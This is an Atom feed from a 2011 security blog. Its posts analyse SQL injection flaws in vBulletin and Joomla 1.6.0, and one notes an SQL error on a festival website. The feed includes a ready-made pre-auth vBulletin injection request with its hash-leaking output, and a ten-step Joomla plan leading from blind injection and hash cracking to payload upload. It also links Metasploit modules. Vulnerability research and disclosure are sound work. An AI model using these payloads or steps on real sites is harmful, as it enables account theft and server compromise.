<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;CUUCRXw-eyp7ImA9WhRaFEg.&quot;"><id>tag:blogger.com,1999:blog-4185830889479063425</id><updated>2012-02-16T20:34:24.253-08:00</updated><category term="facebook" /><category term="Bonaroo" /><category term="vBulletin" /><category term="php" /><category term="joomla" /><category term="lol" /><category term="security" /><category term="ning" /><category term="malware" /><category term="privacy" /><category term="metasploit" /><category term="exploit" /><category term="sql injection" /><category term="e107" /><title>0x6a616d6573</title><subtitle type="html">History doesn't repeat itself, but it does rhyme.</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://0x6a616d6573.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://0x6a616d6573.blogspot.com/" /><author><name>0x6a616d6573</name><uri>http://www.blogger.com/profile/01209289865204594809</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="29" src="http://4.bp.blogspot.com/_2XllQAzwGBk/S2GKcznR5lI/AAAAAAAAACE/-UALxgcZ564/S220/brute.jpg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>11</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/0x6a616d6573" /><feedburner:info uri="0x6a616d6573" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CUUMRXYzcSp7ImA9WhdSEk0.&quot;"><id>tag:blogger.com,1999:blog-4185830889479063425.post-6059948213104399757</id><published>2011-07-20T13:31:00.000-07:00</published><updated>2011-07-20T16:08:04.889-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-20T16:08:04.889-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="vBulletin" /><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><title>vBulletin "Search UI" SQL Injection: Take Two</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;It looks like someone has found another &lt;a href="http://secunia.com/advisories/45290/"&gt;SQL Injection bug in the vBulletin "Search UI"&lt;/a&gt;. After taking a quick look @ the bug, I have determined it to be exploitable, pre auth.&lt;br /&gt;
&lt;br /&gt;
The actual SQL Injection lies within the add_advanced_search_filters() function. This is due to vBulletin not sanitizing the "messagegroupid" and "categoryid" arrays before implode()'ing them directly into a SQL query.&lt;br /&gt;
&lt;br /&gt;
Exploiting this issue is fairly straight forward, but is pretty much a blind SQL Injection as far as I can tell in the small amount of time I have looked at it. However, using the &lt;a href="http://qwazar.ru/?p=7"&gt;methods outlined here&lt;/a&gt;, one can easily extract data at the expense of possibly tipping off the database admin. This is because vBulletin displays the verbose SQL query within HTML comments whenever displaying an SQL error screen. (Even for non authenticated users)&lt;/div&gt;&lt;br /&gt;
&lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  POST /search.php?do=process HTTP/1.1  
2:  Host: 127.0.0.1  
3:  Content-Type: application/x-www-form-urlencoded  
4:  humanverify[]=&amp;amp;searchfromtype=vBForum%3ASocialGroupMessage&amp;amp;do=process&amp;amp;contenttypeid=5&amp;amp;categoryid[]=-99) union select password from user where userid=1 and row(1,1)&amp;gt;(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*  
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;
The above post query will successfully display the passsword hash for the userid=1 within the comments of the SQL error page used by vBulletin, as seen in the example below.&lt;/div&gt;&lt;br /&gt;
&lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  &amp;lt;!--  
2:  Database error in vBulletin 4.1.4:  
3:  Invalid SQL:  
4:                           SELECT socialgroupcategory.title  
5:                           FROM socialgroupcategory AS socialgroupcategory  
6:                           WHERE socialgroupcategory.socialgroupcategoryid IN (-99) union select password from user where userid=1 and row(1,1)&amp;amp;gt;(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*);  
7:  MySQL Error  : Duplicate entry '&lt;span style="color: red; font-weight: bold;"&gt;4c62730e24e31ab9a0b8229a7ff72836&lt;/span&gt;:1' for key 'group_key'  
8:  Error Number : 1062  
9:  Request Date : Wednesday, July 20th 2011 @ 10:24:59 PM  
10:  Error Date  : Wednesday, July 20th 2011 @ 10:24:59 PM  
11:  Script    : http://127.0.0.1/search.php?do=process  
12:  Referrer   :   
13:  IP Address  : 127.0.0.1  
14:  Username   : Unregistered  
15:  Classname   : vB_Database  
16:  MySQL Version :   
17:  --&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;
And of course if you prefer to exploit this in a more stealthy manner, there is always a blind SQL Injection approach using timed BENCHMARK() queries, etc. that will likely work for you.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4185830889479063425-6059948213104399757?l=0x6a616d6573.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/IhAHKMYA4nWASTCXr4gIrmHZ7Ew/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IhAHKMYA4nWASTCXr4gIrmHZ7Ew/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/IhAHKMYA4nWASTCXr4gIrmHZ7Ew/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IhAHKMYA4nWASTCXr4gIrmHZ7Ew/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/0x6a616d6573/~4/xPldn-r64s4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://0x6a616d6573.blogspot.com/feeds/6059948213104399757/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://0x6a616d6573.blogspot.com/2011/07/vbulletin-search-ui-sql-injection-take.html#comment-form" title="6 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/6059948213104399757?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/6059948213104399757?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/0x6a616d6573/~3/xPldn-r64s4/vbulletin-search-ui-sql-injection-take.html" title="vBulletin &quot;Search UI&quot; SQL Injection: Take Two" /><author><name>0x6a616d6573</name><uri>http://www.blogger.com/profile/01209289865204594809</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="29" src="http://4.bp.blogspot.com/_2XllQAzwGBk/S2GKcznR5lI/AAAAAAAAACE/-UALxgcZ564/S220/brute.jpg" /></author><thr:total>6</thr:total><feedburner:origLink>http://0x6a616d6573.blogspot.com/2011/07/vbulletin-search-ui-sql-injection-take.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEcCRXs5fCp7ImA9WhZbE0g.&quot;"><id>tag:blogger.com,1999:blog-4185830889479063425.post-953150619714649823</id><published>2011-06-17T15:49:00.000-07:00</published><updated>2011-06-17T16:07:44.524-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-17T16:07:44.524-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="lol" /><category scheme="http://www.blogger.com/atom/ns#" term="Bonaroo" /><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Fear the typo!</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Being a huge music fan, as well as a big fan of the &lt;a href="http://www.bonnaroo.com/"&gt;Bonaroo music festival&lt;/a&gt;, I really enjoyed all of the updates posted to the official Bonaroo Facebook page during the festival. Surprisingly enough, accidentally "fat fingering" a single quote whenever attempting to copy and paste a link to one of their recent blog posting presented me with the following error.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Pp_ISUPVGlY/TfvYmflrp-I/AAAAAAAAAGg/v2AMEV4MNro/s1600/bonaroo_sqlinjection.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="241" src="http://2.bp.blogspot.com/-Pp_ISUPVGlY/TfvYmflrp-I/AAAAAAAAAGg/v2AMEV4MNro/s320/bonaroo_sqlinjection.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As you can see in the above image, I attempted to contact the bonaroo.com webmaster about this obviously exploitable SQL Injection bug, but to no avail. I guess the lesson here is that if you are going to write insecure code, at least remember to turn off detailed error reporting in a production environment. D'oh!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4185830889479063425-953150619714649823?l=0x6a616d6573.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/pWZobdDLwAY8JTE-BfJxSSi1W2Q/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pWZobdDLwAY8JTE-BfJxSSi1W2Q/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/pWZobdDLwAY8JTE-BfJxSSi1W2Q/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pWZobdDLwAY8JTE-BfJxSSi1W2Q/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/0x6a616d6573/~4/DjU2fGf1WOQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://0x6a616d6573.blogspot.com/feeds/953150619714649823/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://0x6a616d6573.blogspot.com/2011/06/fear-typo.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/953150619714649823?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/953150619714649823?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/0x6a616d6573/~3/DjU2fGf1WOQ/fear-typo.html" title="Fear the typo!" /><author><name>0x6a616d6573</name><uri>http://www.blogger.com/profile/01209289865204594809</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="29" src="http://4.bp.blogspot.com/_2XllQAzwGBk/S2GKcznR5lI/AAAAAAAAACE/-UALxgcZ564/S220/brute.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-Pp_ISUPVGlY/TfvYmflrp-I/AAAAAAAAAGg/v2AMEV4MNro/s72-c/bonaroo_sqlinjection.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://0x6a616d6573.blogspot.com/2011/06/fear-typo.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkAARXk7fip7ImA9WhZVF0w.&quot;"><id>tag:blogger.com,1999:blog-4185830889479063425.post-5609109262087856133</id><published>2011-05-29T09:42:00.000-07:00</published><updated>2011-05-29T16:12:24.706-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-29T16:12:24.706-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="vBulletin" /><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title>Reliably exploiting vBulletin 4</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Last month an SQL Injection vulnerability in the vBulletin search feature was patched. The issue was researched fairly well by j0hnx3r, and his research was made public &lt;a href="http://j0hnx3r.org/?p=818"&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
After reading about this issue, I set out to write a &lt;a href="http://www.metasploit.com/"&gt;Metasploit&lt;/a&gt; module for it, and soon realized that the way of exploiting the issue outlined in j0hnx3r's research could be unreliable under certain circumstances such as:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;&lt;li&gt;&amp;nbsp;No groups exist, and the attacker can not access user groups&lt;/li&gt;
&lt;li&gt;The attacker is unable to get a valid forum account&lt;/li&gt;
&lt;/ul&gt;There are probably other scenarios that make exploiting this in a straight forward manner a bit unreliable, but I decided to focus my attention on creating something more reliable, versus exploring the limitations of a more straight forward approach.&lt;br /&gt;
&lt;br /&gt;
During my research in to this issue, I found a couple of interesting things to help aid an attacker in mounting a successful SQL Injection attack against a vulnerable vBulletin installation.&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;&lt;li&gt;This issue can be exploited pre auth&lt;/li&gt;
&lt;li&gt; The SQL Injection takes place before the CAPTCHA is handled&lt;/li&gt;
&lt;li&gt;The SQL Injection takes place before flood controls&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;As a result this issue can be exploited pre auth by an anonymous user regardless of CAPCTHA or flood settings, making it a pretty darn scary bug if you ask me. In order to exploit this issue I ended up using a blind BENCHMARK() enumeration approach since there are a myriad of issues relating to outputting retrieved data that I did my best to avoid altogether.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;&lt;a href="https://docs.google.com/leaf?id=0B5oxcQ53hliTYTFiMTEwOTAtZTliYy00MGQzLWJmNmUtOTM3ZDQxMDM4OTNh&amp;amp;hl=en_US"&gt;&lt;u&gt;&lt;b&gt;vBulletin 4 &amp;lt;= 4.1.2 SQL Injection Exploit (Metasploit)&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;b&gt; &lt;/b&gt;&lt;/u&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4185830889479063425-5609109262087856133?l=0x6a616d6573.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/H1x80dxrEzoWCNIughHxXC5sKcU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/H1x80dxrEzoWCNIughHxXC5sKcU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/H1x80dxrEzoWCNIughHxXC5sKcU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/H1x80dxrEzoWCNIughHxXC5sKcU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/0x6a616d6573/~4/wT9nL_ccwRg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://0x6a616d6573.blogspot.com/feeds/5609109262087856133/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://0x6a616d6573.blogspot.com/2011/05/reliably-exploiting-vbulletin-4-412-sql.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/5609109262087856133?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/5609109262087856133?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/0x6a616d6573/~3/wT9nL_ccwRg/reliably-exploiting-vbulletin-4-412-sql.html" title="Reliably exploiting vBulletin 4" /><author><name>0x6a616d6573</name><uri>http://www.blogger.com/profile/01209289865204594809</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="29" src="http://4.bp.blogspot.com/_2XllQAzwGBk/S2GKcznR5lI/AAAAAAAAACE/-UALxgcZ564/S220/brute.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://0x6a616d6573.blogspot.com/2011/05/reliably-exploiting-vbulletin-4-412-sql.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUICQ3o6cSp7ImA9WhZVF0U.&quot;"><id>tag:blogger.com,1999:blog-4185830889479063425.post-5794982541644029818</id><published>2011-04-28T11:02:00.000-07:00</published><updated>2011-05-30T12:26:02.419-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-30T12:26:02.419-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="joomla" /><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title>Joomla 1.6.0 Analysis and Exploitation</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Last month, a critical SQL Injection vulnerability &lt;a href="http://seclists.org/fulldisclosure/2011/Mar/158"&gt;was discovered&lt;/a&gt; in Joomla 1.6.0. , and this past weekend I finally got around to taking a closer look at this issue, and working on an exploit. Originally I was going to write an exploit for both the 1.6.0 issue, as well as the &lt;a href="http://seclists.org/fulldisclosure/2010/Nov/39"&gt;1.5.21 issue&lt;/a&gt;, and have the exploit select a target based on the version detected, but the original advisory was erroneous. It seems that the author of the original advisory used &lt;a href="http://yehg.net/lab/pr0js/advisories/joomla/core/1.5.21/sql_injection/sqli_%28filter_order_Dir%29_front.jpg"&gt;burp suite &lt;/a&gt;to discover the bug, and did not actually understand what was really happening at all, under the hood.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-XjRKzxvIaqY/TbmeX1yez8I/AAAAAAAAAGU/pz9R2Rh-LuM/s1600/adv_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="224" src="http://2.bp.blogspot.com/-XjRKzxvIaqY/TbmeX1yez8I/AAAAAAAAAGU/pz9R2Rh-LuM/s640/adv_1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
In the above image, we see two PoC examples given. They DO both trigger an SQL error, but this is simply due to the field(s) being null as the ordering paramaters pass through the Joomla "word" and "cmd" filter types, and are stripped of almost all special characters. (As seen in the example below)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Joomla &amp;lt;= 1.5.21 Vulnerable function&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;/components/com_weblinks/models/category.php&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  function _buildQuery()  
2:  {  
3:       $filter_order          = $this-&amp;gt;getState('filter_order');  
4:       $filter_order_dir      = $this-&amp;gt;getState('filter_order_dir');  
5:       $filter_order          = JFilterInput::clean($filter_order, 'cmd');  
6:       $filter_order_dir      = JFilterInput::clean($filter_order_dir, 'word');  
7:       // We need to get a list of all weblinks in the given category  
8:       $query = 'SELECT *' .  
9:            ' FROM #__weblinks' .  
10:            ' WHERE catid = '. (int) $this-&amp;gt;_id.  
11:            ' AND published = 1' .  
12:            ' AND archived = 0'.  
13:            ' ORDER BY '. $filter_order .' '. $filter_order_dir .', ordering';  
14:       return $query;  
15:  }  
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;
As a&amp;nbsp; result this issue is simply not exploitable, so I was only able to create a working exploit for 1.6.0. The reason 1.6.0 is actually exploitable is due to the "string" filter being used in the example code below, which allows us to use certain characters necessary for exploitable SQL Injection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Joomla 1.6.0 Vulnerable function&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;/components/com_content/models/category.php&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  /**  
2:   * Build the orderby for the query  
3:   *  
4:   * @return     string     $orderby portion of query  
5:   * @since     1.5  
6:   */  
7:  protected function _buildContentOrderBy()  
8:  {  
9:        $app              = JFactory::getApplication('site');  
10:       $params           = $this-&amp;gt;state-&amp;gt;params;  
11:       $itemid           = JRequest::getInt('id', 0) . ':' . JRequest::getInt('Itemid', 0);  
12:       $filter_order     = $app-&amp;gt;getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string');  
13:       $filter_order_Dir = $app-&amp;gt;getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd');  
14:       $orderby = ' ';  
15:       if ($filter_order &amp;amp;&amp;amp; $filter_order_Dir) {  
16:            $orderby .= $filter_order . ' ' . $filter_order_Dir . ', ';  
17:       }  
18:       $articleOrderby   = $params-&amp;gt;get('orderby_sec', 'rdate');  
19:       $articleOrderDate = $params-&amp;gt;get('order_date');  
20:       $categoryOrderby  = $params-&amp;gt;;def('orderby_pri', '');  
21:       $secondary        = ContentHelperQuery::orderbySecondary($articleOrderby, $articleOrderDate) . ', ';  
22:       $primary          = ContentHelperQuery::orderbyPrimary($categoryOrderby);  
23:       $orderby .= $primary . ' ' . $secondary . ' a.created ';  
24:       return $orderby;  
25:  }  
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;
In order to exploit this issue I use a sub query to ask boolean style questions. If the answer is true I execute BENCHMARK() and look for a delay, thus confirming the answer to our question. It should be noted that another useful exploitation approach (that is not as reliable in this situation, thus the reason i am using a sub query) when dealing with "ORDER BY" injections, is to use the sort order to determine the answer to your questions.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;STEP 01: &lt;/b&gt;&lt;br /&gt;
Determine if the host is vulnerable by extracting &amp;nbsp;the version, and performing a simple compare. This step can be skipped if needed, as all the benchmark&amp;nbsp;tests will fail if the host is not vuln. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;STEP 02: &lt;/b&gt;&lt;br /&gt;
Trigger an SQL error in order to confirm that the host is vulnerable, and also extract the database table prefix for reliability purposes. SQL Errors are by default shown to unauthenticated users it seems, which helps make exploitation much more reliable.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;STEP 03: &lt;/b&gt;&lt;br /&gt;
Prepare for BENCHMARK() enumeration by establishing both normal, and delayed request medians.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;STEP 04: &lt;/b&gt;&lt;br /&gt;
Find a valid admin id in the "user_usergroup_map" table, which maps admin users to the group_id 8. Since this SQL Injection is completely blind we need to ask "boolean" questions. As a result we start at 42 (which is hard coded within Joomla as the base uid), and step through 10 at a time until we basically "pass up" a valid id. After the id has been passed, we step back 10 and start incrementing by one until we find the uid. This process repeats with the second record in the table if admin access is unable to be gained with the first uid that is enumerated.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;STEP 05: &lt;/b&gt;&lt;br /&gt;
Extract the admin password hash via single character enumeration.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;STEP 06: &lt;/b&gt;&lt;br /&gt;
Extract the admin password salt via single character enumeration. We use "SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})" here vs "SUBSTRING = FOO" so that we can distinguish between case sensitive characters reliably.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;STEP 07: &lt;/b&gt;&lt;br /&gt;
Cookie based authentication, and password reset functionality seem to be limited to standard, non admin, users. So we attempt to crack the password hash using a wordlist since it seems we can not use the SQL Injection to further escalate privileges, unless the mysql user has file access. (INTO OUTFILE) The encryption format used by Joomla can be represented in the following pseudo code:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;md5(PASS + SALT)&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;STEP 08: &lt;/b&gt;&lt;br /&gt;
Extract the administrator username via single character enumeration after determining the length of the username.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;STEP 09: &lt;/b&gt;&lt;br /&gt;
Authenticate as an administrator.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;STEP 10: &lt;/b&gt;&lt;br /&gt;
Upload wrapper and execute the payload.&lt;br /&gt;
&lt;br /&gt;
The above list is rather brief, but you can view the exploit source code for further comments, and insight in to exploiting this bug. The following exploit is in ruby, written for the &lt;a href="http://www.metasploit.com/"&gt;Metasploit Framework&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="https://docs.google.com/leaf?id=0B5oxcQ53hliTNmZlNGJmODEtNmQ3MC00YWI2LThmMTAtZjUzMGU0OTcxOTNh&amp;amp;hl=en"&gt;&lt;u&gt;&lt;b&gt;Joomla 1.6.0 SQL Injection -&amp;gt; PHP Code Execution (Metasploit)&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4185830889479063425-5794982541644029818?l=0x6a616d6573.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/9xTZhZfMRaPoEn5m4PrIyZNNpCE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9xTZhZfMRaPoEn5m4PrIyZNNpCE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/9xTZhZfMRaPoEn5m4PrIyZNNpCE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9xTZhZfMRaPoEn5m4PrIyZNNpCE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/0x6a616d6573/~4/nYT8RaZ8YME" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://0x6a616d6573.blogspot.com/feeds/5794982541644029818/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://0x6a616d6573.blogspot.com/2011/04/joomla-160-sql-injection-analysis-and.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/5794982541644029818?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/5794982541644029818?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/0x6a616d6573/~3/nYT8RaZ8YME/joomla-160-sql-injection-analysis-and.html" title="Joomla 1.6.0 Analysis and Exploitation" 